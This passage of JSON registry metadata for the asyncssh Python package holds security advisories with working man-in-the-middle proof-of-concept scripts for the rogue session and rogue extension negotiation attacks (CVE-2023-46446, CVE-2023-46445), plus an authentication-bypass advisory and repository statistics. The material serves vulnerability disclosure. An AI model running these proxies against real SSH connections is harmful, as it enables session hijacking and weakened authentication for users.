client_socket.recv(4096)\n              if delay_next:\n                  delay_next = False\n                  sleep(0.25)\n              if contains_newkeys(client_data):\n                  print(\"[+] SSH_MSG_NEWKEYS sent by client identified!\")\n                  if len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n                      print(\"[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!\")\n                  while len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n                      client_data += client_socket.recv(4096)\n                  print(f\"[d] Original client_data before modification: {client_data.hex()}\")\n                  client_data = insert_rogue_authentication_request(client_data)\n                  print(f\"[d] Modified client_data with rogue authentication request: {client_data.hex()}\")\n                  delay_next = True\n              if len(client_data) == 0:\n                  break\n              server_socket.send(client_data)\n      except ConnectionResetError:\n          print(\"[!] Client connection has been reset. Continue closing sockets.\")\n      print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n      client_socket.close()\n      server_socket.close()\n  \n  def forward_server_to_client(client_socket, server_socket):\n      try:\n          while True:\n              server_data = server_socket.recv(4096)\n              if len(server_data) == 0:\n                  break\n              client_socket.send(server_data)\n      except ConnectionResetError:\n          print(\"[!] Target connection has been reset. Continue closing sockets.\")\n      print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n      client_socket.close()\n      server_socket.close()\n  \n  if __name__ == '__main__':\n      print(\"--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---\")\n      mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n      mitm_socket.bind((PROXY_IP, PROXY_PORT))\n      mitm_socket.listen(5)\n  \n      print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n  \n      try:\n          while True:\n              client_socket, client_addr = mitm_socket.accept()\n              print(f\"[+] Accepted connection from: {client_addr}\")\n              print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n              server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n              server_socket.connect((SERVER_IP, SERVER_PORT))\n              print(\"[+] Spawning new forwarding threads to handle client connection.\")\n              Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n              Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n      except KeyboardInterrupt:\n          client_socket.close()\n          server_socket.close()\n          mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nThe impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-09T18:35:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-c35q-ffpf-5qpm","https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e","https://nvd.nist.gov/vuln/detail/CVE-2023-46446","https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-239.yaml","https://github.com/advisories/GHSA-c35q-ffpf-5qpm","https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst","https://www.terrapin-attack.com","http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html","https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE","https://security.netapp.com/advisory/ntap-20231222-0001"],"source_kind":"github","identifiers":["GHSA-c35q-ffpf-5qpm","CVE-2023-46446"],"repository_url":"https://github.com/ronf/asyncssh","blast_radius":0.0,"created_at":"2023-11-09T19:06:06.228Z","updated_at":"2026-10-05T15:12:11.205Z","epss_percentage":0.00867,"epss_percentile":0.56561,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMzVxLWZmcGYtNXFwbc4AA3BV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMzVxLWZmcGYtNXFwbc4AA3BV","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.14.1","vulnerable_version_range":"\u003c 2.14.1"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMzVxLWZmcGYtNXFwbc4AA3BV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH","url":"https://github.com/advisories/GHSA-cfc2-wr2v-gxm5","title":"AsyncSSH Rogue Extension Negotiation","description":"### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = '127.0.0.1'\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = '127.0.0.1'\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b'\\x00\\x00\\x00\\x0c\\x0a\\x15'\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify('0000000C060700000000000000000000')\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == '__main__':\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-09T18:34:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5","https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e","https://nvd.nist.gov/vuln/detail/CVE-2023-46445","https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml","https://github.com/advisories/GHSA-cfc2-wr2v-gxm5","https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst","https://www.terrapin-attack.com","http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html","https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE","https://security.netapp.com/advisory/ntap-20231222-0001"],"source_kind":"github","identifiers":["GHSA-cfc2-wr2v-gxm5","CVE-2023-46445"],"repository_url":"https://github.com/ronf/asyncssh","blast_radius":0.0,"created_at":"2023-11-09T19:06:06.244Z","updated_at":"2026-10-05T15:12:11.206Z","epss_percentage":0.00586,"epss_percentile":0.45667,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.14.1","vulnerable_version_range":"\u003c 2.14.1"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05N2N2LTZwamYtNWY5cc4AAUF3","url":"https://github.com/advisories/GHSA-97cv-6pjf-5f9q","title":"AsyncSSH SSH Server Authentication Bypass","description":"The SSH server implementation of AsyncSSH before 1.12.1 does not properly check whether authentication is completed before processing other requests. A customized SSH client can simply skip the authentication step.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-05-14T01:29:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-7749","https://github.com/ronf/asyncssh/commit/c161e26cdc0d41b745b63d9f17b437f073bf7ba4","https://groups.google.com/forum/#!msg/asyncssh-announce/57_5O7kiHSA/8BXZ_hxHAQAJ","https://github.com/ronf/asyncssh/commit/16e6ebfa893167c7d9d3f6dc7a2c0d197e47f43a","https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2018-108.yaml","https://github.com/advisories/GHSA-97cv-6pjf-5f9q"],"source_kind":"github","identifiers":["GHSA-97cv-6pjf-5f9q","CVE-2018-7749"],"repository_url":"https://github.com/ronf/asyncssh","blast_radius":26.700195967973354,"created_at":"2023-08-03T23:04:59.076Z","updated_at":"2026-10-05T15:13:09.132Z","epss_percentage":0.01734,"epss_percentile":0.76653,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N2N2LTZwamYtNWY5cc4AAUF3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05N2N2LTZwamYtNWY5cc4AAUF3","packages":[{"ecosystem":"pypi","package_name":"AsyncSSH","versions":[{"first_patched_version":"1.12.1","vulnerable_version_range":"\u003c 1.12.1"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N2N2LTZwamYtNWY5cc4AAUF3/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/asyncssh","docker_dependents_count":166,"docker_downloads_count":757213386,"usage_url":"https://repos.ecosyste.ms/usage/pypi/asyncssh","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/asyncssh/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-10T16:00:38.867Z","issues_count":277,"pull_requests_count":75,"avg_time_to_close_issue":7031388.346938776,"avg_time_to_close_pull_request":1244972.9402985075,"issues_closed_count":245,"pull_requests_closed_count":67,"pull_request_authors_count":41,"issue_authors_count":226,"avg_comments_per_issue":6.823104693140794,"avg_comments_per_pull_request":3.68,"merged_pull_requests_count":30,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":32,"past_year_pull_requests_count":16,"past_year_avg_time_to_close_issue":5195599.347826087,"past_year_avg_time_to_close_pull_request":337411.54545454547,"past_year_issues_closed_count":23,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":29,"past_year_avg_comments_per_issue":5.53125,"past_year_avg_comments_per_pull_request":4.25,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":6,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/issues","maintainers":[{"login":"ronf","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ronf"}],"active_maintainers":[{"login":"ronf","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ronf"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/asyncssh/codemeta","maintainers":[{"uuid":"ronf","login":"ronf","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/ronf/","role":null,"created_at":"2022-11-15T09:22:12.090Z","updated_at":"2022-11-15T09:22:12.090Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ronf/packages"}]}